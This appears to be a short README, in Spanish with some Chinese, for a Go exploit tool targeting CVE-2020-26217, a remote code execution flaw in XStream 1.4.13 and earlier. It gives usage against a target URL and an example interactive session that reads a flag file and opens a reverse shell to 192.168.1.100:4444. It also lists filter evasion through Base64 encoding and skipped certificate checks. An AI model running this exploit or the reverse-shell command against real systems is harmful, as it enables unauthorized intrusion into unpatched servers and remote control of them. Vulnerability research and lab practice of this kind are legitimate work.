CVE-2020-26217 XStream RCE Exploit

Herramienta de explotación de la vulnerabilidad de ejecución remota de código en XStream.

Descripción de la vulnerabilidad

CVE-2020-26217 es una vulnerabilidad de deserialización en la librería XStream que permite a un atacante ejecutar código remoto mediante la construcción de datos XML maliciosos.

Versiones afectadas: XStream <= 1.4.13

Uso

go run poc.go <目标URL>

Ejemplo

# 运行工具
go run poc.go http://target.com:8080/?data

# 进入交互模式后输入命令
cmd> whoami
cmd> cat /flag
cmd> bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
cmd> exit

Características

• Ejecución interactiva de comandos
• Parseo automático del nombre de los parámetros de la URL
• Codificación Base64 para evadir el filtrado de caracteres especiales
• Soporte para HTTPS (omite la verificación del certificado)